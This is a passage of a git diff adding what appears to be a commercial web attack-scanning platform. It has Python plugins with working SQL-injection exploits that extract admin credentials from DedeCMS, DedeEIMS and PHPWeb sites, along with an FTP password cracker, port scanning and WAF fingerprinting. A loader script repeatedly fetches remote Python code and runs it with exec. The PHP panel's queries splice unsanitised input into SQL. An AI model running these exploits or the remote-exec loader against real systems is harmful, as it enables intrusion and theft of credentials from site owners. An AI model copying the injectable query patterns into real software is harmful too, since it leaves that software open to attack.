"+ok) + else: + print "[*] Exploit fail !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/dedecms5.7_search.php_SQLInject.py b/plus/dedecms5.7_search.php_SQLInject.py new file mode 100644 index 0000000..83cb52a --- /dev/null +++ b/plus/dedecms5.7_search.php_SQLInject.py @@ -0,0 +1,16 @@ +def exploit(url): + poc = 'http://'+url+'/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a' + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + str=ok.read() + username = fuck.find(r'

(\w+)

',str) + password = fuck.find(r'

(\w{20}\.{3})

',str) + if len(username) != 0 and len(password) != 0: + username = username[0] + password = password[0][3:-4] + fuck.report('dedecms5.7_search.php_SQLInject',"%s|%s"%(username,password)) + print "TARGET dedecms5.7_search.php_SQLInject VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/dedeeims_SQLInject.py b/plus/dedeeims_SQLInject.py new file mode 100644 index 0000000..a7e541d --- /dev/null +++ b/plus/dedeeims_SQLInject.py @@ -0,0 +1,13 @@ +def exploit(url): + poc = "http://"+url+"/wap.php?action=list&id=1"+chr(37)+"20or"+chr(37)+"20@`'`=1"+chr(37)+"20and"+chr(37)+"20(SELECT"+chr(37)+"201"+chr(37)+"20FROM"+chr(37)+"20(select"+chr(37)+"20count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x3d,pwd)+from+`"+chr(37)+"23@__admin`+limit+0,1),1,62)))a"+chr(37)+"20from"+chr(37)+"20information_schema.tables"+chr(37)+"20group"+chr(37)+"20by"+chr(37)+"20a)b)"+chr(37)+"20and"+chr(37)+"20@`'`=0" + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + str=ok.read() + tmp=fuck.find("\w+=\w{20}",str) + if len(tmp)>0: + fuck.report('dedeeims_SQLInject',"%s"%tmp[0]) + print "TARGET dedeeims_SQLInject VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/ftp.py b/plus/ftp.py new file mode 100644 index 0000000..5b3fc67 --- /dev/null +++ b/plus/ftp.py @@ -0,0 +1,9 @@ +def crack_ftp(password): + status=fuck.ftpscan(test_ip,password) + if status == 1: + fuck.report('ftp','%s %s'%(test_url,password)) + print '%s %s'%(test_url,password) +print 'start' +dic_list=['admin|123','admin|123456','x|123456'] +fuck.thread(crack_ftp,dic_list,len(dic_list)) +print 'end' diff --git a/plus/gethead.py b/plus/gethead.py new file mode 100644 index 0000000..eee761f --- /dev/null +++ b/plus/gethead.py @@ -0,0 +1,50 @@ +print 'start' +http_head=fuck.get_head(test_url) +if http_head== False: + sys.exit(1) +if http_head.getheader("server"): + server=http_head.getheader("server") +else: + server='CDN' +if http_head.getheader("x-powered-by"): + waf=http_head.getheader("x-powered-by") +else: + waf='NULL' +if server.find('CNYUNAN')>-1: + fuck.report('gethead','%s|%s'%('深圳云安网站卫士',waf)) + result='%s|%s|%s'%(test_url,u'深圳云安网站卫士',waf) + print result +elif http_head.getheader("X-Powered-By-Anquanbao"): + fuck.report('gethead','%s|%s'%(server,'Anquanbao')) + result='%s|%s|%s'%(test_url,server,u'安全宝') + print result +elif http_head.getheader("x-powered-by-360wzb"): + fuck.report('gethead','%s|%s'%(server,'360wzb')) + result='%s|%s|%s'%(test_url,server,u'360网站卫士') + print result +elif http_head.getheader("x-cache"): + fuck.report('gethead','%s|%s'%(server,'jiasule')) + result='%s|%s|%s'%(test_url,server,u'加速乐') + print result +elif waf.find('Safe3')>-1: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,'Safe3WAF') + print result +elif waf.find('WAF/')>-1: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,u'网站安全狗') + print result +else: + fuck.report('gethead','%s|%s'%(server,waf)) + result='%s|%s|%s'%(test_url,server,waf) + print result +nginx_test_url='http://%s/robots.txt'%test_url +nginx_test=fuck.urlget(nginx_test_url) +if nginx_test.getcode() == 200: + md5_1=fuck.get_md5(nginx_test.read()) + md5_2=fuck.get_md5(fuck.urlget('http://%s/robots.txt/1.php'%test_url).read()) + if md5_1==md5_2: + fuck.report('nginx_CommandExec','http://%s/robots.txt/1.php'%test_url) + result='nginx_CommandExec: http://%s/robots.txt/1.php'%test_url + print result +print 'end' diff --git a/plus/phpweb_SQLInject.py b/plus/phpweb_SQLInject.py new file mode 100644 index 0000000..44ac502 --- /dev/null +++ b/plus/phpweb_SQLInject.py @@ -0,0 +1,12 @@ +def exploit(url): + poc = "http://"+url+"/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3d,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html" + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + tmp=fuck.find("\w+=\w{32}",ok.read()) + if len(tmp)>0: + fuck.report('phpweb_SQLInject',"http://%s
%s"%(test_url,tmp[0])) + print "TARGET phpweb_SQLInject VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/ping.py b/plus/ping.py new file mode 100644 index 0000000..8a6de0d --- /dev/null +++ b/plus/ping.py @@ -0,0 +1,12 @@ +def exploit(): + locatip=fuck.localip() + sart=locatip.split('.') + ip_prefix='%s.%s.%s'%(sart[0],sart[1],sart[2]) + for i in range(1,10): + ip=fuck.pinger('%s.%s'%(ip_prefix,i)) + if ip: + fuck.report('pinger','%s Onlink'%ip) + print 'ip:%s onlink'%ip +print 'start' +exploit() +print 'end' diff --git a/plus/portscan.py b/plus/portscan.py new file mode 100644 index 0000000..2cd9dbe --- /dev/null +++ b/plus/portscan.py @@ -0,0 +1,15 @@ +def portscan(port): + if fuck.checkport(test_ip,port): + fuck.report('portscan','%s %s Open'%(test_ip,port)) + print '%s %s Open'%(test_ip,port) +print 'start' +post_list=['21','22','23','80','135','139','445','1433','1723','3306','3389','5800','5901','8080','8081','8082'] +fuck.thread(portscan,post_list,10) +#locatip=fuck.localip() +#sart=locatip.split('.') +#ip_prefix='%s.%s.%s'%(sart[0],sart[1],sart[2]) +#for i in range(1,10): +# ip=fuck.pinger('%s.%s'%(ip_prefix,i)) +# if ip: +# portscan(ip) +print 'end' diff --git a/plus/spider.py b/plus/spider.py new file mode 100644 index 0000000..55bf494 --- /dev/null +++ b/plus/spider.py @@ -0,0 +1,7 @@ +print 'start' +url_list=url_spider(test_url) +print 'Spider site ok,find %s url!\ninject test now ...'%len(url_list) +for inject_url_tmp in url_list: + inject_url='http://%s/%s'%(test_url,inject_url_tmp) + inject_test.test_it(inject_url) +print 'end' \ No newline at end of file diff --git a/plus/what_cms.py b/plus/what_cms.py new file mode 100644 index 0000000..537b375 --- /dev/null +++ b/plus/what_cms.py @@ -0,0 +1,26 @@ +def scan_cms(line): + global result_key + if len(line)>0: + l=line.split('::') + web_dir=l[0] + hash=l[1] + cms_version=l[-1] + web='http://'+test_url+web_dir + try: + _html=fuck.urlget(web).read() + _md5=fuck.get_md5(_html) + if _md5==hash and result_key<1: + result_key=1 + result='%s => %s'%(test_url,cms_version) + print result + fuck.report('what_cms',result) + exploit_it(cms_version) + sys.exit(1) + except Exception,e: + print e +print 'start' +result_key=0 +html_str=fuck.urlget('http://'+_B+'/data/cms.txt').read() +cms_md5_list=html_str.split('\r\n') +fuck.thread(scan_cms,cms_md5_list,10) +print 'end' diff --git a/py.php b/py.php new file mode 100644 index 0000000..4b5d6d0 --- /dev/null +++ b/py.php @@ -0,0 +1,19 @@ +#!/usr/bin/env python +import imp +if imp.get_magic() != '\x03\xf3\r\n': + print "Please update to Python 2.7.3 (http://www.python.org/download/)" +else: + import zlib + import marshal + import urllib + import time + _C = True + _U = '' + _B = '' + print "[...] Initialize engine ..." + while _C: + try: + time.sleep(2) + exec urllib.urlopen('http://'+_B+'/main.py').read() + except: + time.sleep(5) \ No newline at end of file diff --git a/reg.php b/reg.php new file mode 100644 index 0000000..d532f8b --- /dev/null +++ b/reg.php @@ -0,0 +1,29 @@ +checknumsql("select UserID from ##_user where UserName = '{$username}'")) Message("此用户名已经存在,请重新输入用户名"); + $reg = $db->fetch_assoc("select reg_key from ##_reg_key where id=1"); + $reg_key=$reg['reg_key']; + if($reg_key <> $_POST["regkey"]) Message("注册码有误,获取注册码请联系QQ:2376457928"); + + $pwd = substr(md5($_POST["pwd"]),4,24); + $temptime = $cfg["reguserday"]*86400; + $arr["UserName"] = $username; + $arr["UserPwd"] = $pwd; + $arr["AddTime"] = time(); + $arr["EndTime"] = time()+$temptime; + $arr["UserLevel"] = $cfg["reguserlevel"]; + $arr["telnum"] = $telnum; + $db->insert_into("##_user",$arr); + $key=md5(time()); + $db->query("update regkey set reg_key='{$key}' where id=1"); + echo ""; + exit(); +} +include('html/reg.htm'); \ No newline at end of file diff --git a/reg_key.php b/reg_key.php new file mode 100644 index 0000000..2f783e7 --- /dev/null +++ b/reg_key.php @@ -0,0 +1,17 @@ +query("update ##_reg_key set reg_key='{$key}' where id=1"); + Message("生成成功","reg_key.php"); + } + $reg = $db->fetch_assoc("select reg_key from ##_reg_key where id=1"); + $reg_key=$reg['reg_key']; + $loopstr .= " + {$reg_key} + 更新"; + include('html/reg_key.html'); +} +?> diff --git a/scan.php b/scan.php new file mode 100644 index 0000000..019a1ec --- /dev/null +++ b/scan.php @@ -0,0 +1,18 @@ +fetch_assoc("select title from ##_exploit where dir='{$type}'"); + $arr["taskid"] = $id; + $arr["info"] = $info; + $arr["type"] = $fs['title']; + $arr["report_ip"] = $ip; + $arr["addtime"] = time(); + $db->insert_into("##_report",$arr); +} + +?> \ No newline at end of file diff --git a/scan.sql b/scan.sql new file mode 100644 index 0000000..5ea1dda --- /dev/null +++ b/scan.sql @@ -0,0 +1,130 @@ +/* +Navicat MySQL Data Transfer + +Source Server : 192.168.1.254 +Source Server Version : 50090 +Source Host : 192.168.1.254:3306 +Source Database : scan + +Target Server Type : MYSQL +Target Server Version : 50090 +File Encoding : 65001 + +Date: 2014-02-18 14:34:20 +*/ + +SET FOREIGN_KEY_CHECKS=0; + +-- ---------------------------- +-- Table structure for `scan_exploit` +-- ---------------------------- +DROP TABLE IF EXISTS `scan_exploit`; +CREATE TABLE `scan_exploit` ( + `id` int(11) NOT NULL auto_increment, + `title` varchar(50) default NULL, + `content` text, + `dir` varchar(50) default NULL, + `level` varchar(10) default NULL, + `color` varchar(20) default NULL, + `viwe` int(5) default '1', + `checked` int(5) default '0', + PRIMARY KEY (`id`) +) ENGINE=MyISAM AUTO_INCREMENT=14 DEFAULT CHARSET=utf8; + +-- ---------------------------- +-- Records of scan_exploit +-- ---------------------------- +INSERT INTO `scan_exploit` VALUES ('1', '爬虫和SQL注入测试', null, 'spider', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('2', '信息收集', null, 'gethead', '安全', 'color:#006400', '1', '1'); +INSERT INTO `scan_exploit` VALUES ('3', '常用端口扫描', null, 'portscan', '警告', 'color:blue', '1', '1'); +INSERT INTO `scan_exploit` VALUES ('4', '常用CMS程序识别', null, 'what_cms', '警告', 'color:blue', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('5', 'FTP弱口令破解', null, 'ftp', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('6', 'ping测试', null, 'ping', '安全', 'color:#006400', '0', '0'); +INSERT INTO `scan_exploit` VALUES ('7', 'aspcms1.5注入', null, 'aspcms1.5_SQLInject', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('8', 'aspcms2.0注入', null, 'aspcms2.0_SQLInject', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('9', 'Gv32cms代码执行', null, 'Gv32cms_CommandExec', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('10', 'dedecms5.7_search.php注入', null, 'dedecms5.7_search.php_SQLInject', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('11', 'phpweb注入', null, 'phpweb_SQLInject', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('12', 'nginx低版本代码执行', null, 'nginx_CommandExec', '高危', 'color:red', '1', '0'); +INSERT INTO `scan_exploit` VALUES ('13', '本地文件包含', null, 'lfi', '严重', 'color:#FF7700', '0', '0'); + +-- ---------------------------- +-- Table structure for `scan_reg_key` +-- ---------------------------- +DROP TABLE IF EXISTS `scan_reg_key`; +CREATE TABLE `scan_reg_key` ( + `id` int(11) NOT NULL auto_increment, + `reg_key` varchar(32) default NULL, + PRIMARY KEY (`id`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; + +-- ---------------------------- +-- Records of scan_reg_key +-- ---------------------------- +INSERT INTO `scan_reg_key` VALUES ('1', '2434776514d6987945f17ed0679301ba'); + +-- ---------------------------- +-- Table structure for `scan_report` +-- ---------------------------- +DROP TABLE IF EXISTS `scan_report`; +CREATE TABLE `scan_report` ( + `id` int(11) NOT NULL auto_increment, + `taskid` varchar(32) default NULL, + `info` text, + `addtime` int(10) default NULL, + `report_ip` varchar(20) default NULL, + `type` varchar(50) default NULL, + PRIMARY KEY (`id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; + +-- ---------------------------- +-- Records of scan_report +-- ---------------------------- + +-- ---------------------------- +-- Table structure for `scan_task_list` +-- ---------------------------- +DROP TABLE IF EXISTS `scan_task_list`; +CREATE TABLE `scan_task_list` ( + `id` int(11) NOT NULL auto_increment, + `task` varchar(50) character set utf8 default NULL, + `status` int(2) unsigned zerofill default '00', + `user` varchar(32) NOT NULL, + `url` varchar(30) character set utf8 default NULL, + `exec_ip` varchar(15) character set utf8 default NULL, + `report_id` varchar(32) character set utf8 default NULL, + `exec_time` int(10) default NULL, + PRIMARY KEY (`id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; + +-- ---------------------------- +-- Records of scan_task_list +-- ---------------------------- + +-- ---------------------------- +-- Table structure for `scan_user` +-- ---------------------------- +DROP TABLE IF EXISTS `scan_user`; +CREATE TABLE `scan_user` ( + `UserID` int(11) unsigned NOT NULL auto_increment, + `UserName` varchar(100) default NULL COMMENT '会员账号', + `UserPwd` varchar(32) default NULL COMMENT '会员密码', + `AddTime` int(10) default NULL COMMENT '注册时间', + `EndTime` int(10) default NULL COMMENT '到期时间', + `IsLock` tinyint(1) default '0' COMMENT '是否锁定', + `LoginErrorNum` tinyint(1) default '0', + `LastLoginTime` int(10) default NULL COMMENT '最后登陆时间', + `LastLoginIP` varchar(20) default NULL, + `LoginTimes` int(10) default '0' COMMENT '登陆次数', + `UserLevel` mediumint(8) NOT NULL default '0', + `IsLockTime` int(10) default '0', + `telnum` varchar(20) default NULL, + `money` double(6,0) unsigned NOT NULL default '10', + `usertype` varchar(3) default NULL, + PRIMARY KEY (`UserID`) +) ENGINE=MyISAM AUTO_INCREMENT=121 DEFAULT CHARSET=utf8; + +-- ---------------------------- +-- Records of scan_user +-- ---------------------------- +INSERT INTO `scan_user` VALUES ('120', 'x', 'dc3949ba59abbe56e057f20f', '1388800119', '1388886519', '0', '0', '1390441918', '192.168.1.8', '13', '1', '0', '13800138000', '10', null); diff --git a/task.php b/task.php new file mode 100644 index 0000000..a067acf --- /dev/null +++ b/task.php @@ -0,0 +1,79 @@ +query("select type from ##_report where taskid='{$md5_id}'"); + $nRowCount = mysql_num_rows($fuck); + if ($nRowCount == 0){ + $tlevel="Low"; + return $tlevel; + } + while ($fs = $db->fetch_array($fuck)) + { + $type = $fs["type"]; + $le = $db->fetch_assoc("select level,color from ##_exploit where title='{$type}'"); + $level=$le["level"]; + if ($level=='高危') + { + $high++; + }elseif ($level=='警告'){ + $middle++; + }elseif ($level=='安全'){ + $Low++; + } + } + if ($high>0) + { + $tlevel="high"; + }elseif ($middle>0){ + $tlevel="middle"; + }elseif ($Low>0){ + $tlevel="Low"; + } +return $tlevel; +} + +if ($_SESSION["user"]) +{ + global $high; + global $middle; + global $Low; + $high=0; + $middle=0; + $Low=0; + $query = $db->query("select * from {$tablename} where user='{$_SESSION["user"]}'"); + $key=1; + $re_id=''; + while ($fs = $db->fetch_array($query)) + { + $url = $fs["url"]; + $time = $fs["exec_time"]; + $id = $fs["report_id"]; + $exp_level=level($id); + if ($exp_level=='high') + { + $level_str="高危"; + $color="color:red"; + }elseif ($exp_level=="middle"){ + $level_str="警告"; + $color="color:blue"; + }elseif ($exp_level=="Low"){ + $level_str="安全"; + $color="color:#006400"; + } + $color_str="{$level_str}"; + if ($re_id!=$id) + { + $loopstr .= " + {$url} + ".$color_str." + ".ld_select_date($time)." + 查看报告"; + $re_id=$id; + } + } +} +include('html/task.html'); +?> \ No newline at end of file diff --git a/task_list.php b/task_list.php new file mode 100644 index 0000000..6b0954a --- /dev/null +++ b/task_list.php @@ -0,0 +1,23 @@ +query("select * from {$tablename} where taskid='{$id}'"); + while ($fs = $db->fetch_array($query)) + { + $type = $fs["type"]; + $time = $fs["addtime"]; + $info = $fs["info"]; + $le = $db->fetch_assoc("select color,level from ##_exploit where title='{$type}'"); + $color=$le["color"]; + $level = $le["level"]; + $loopstr .= " + {$type} + {$info} + {$level} + ".ld_select_date($time).""; + } +} +include('html/task_list.html'); +?> \ No newline at end of file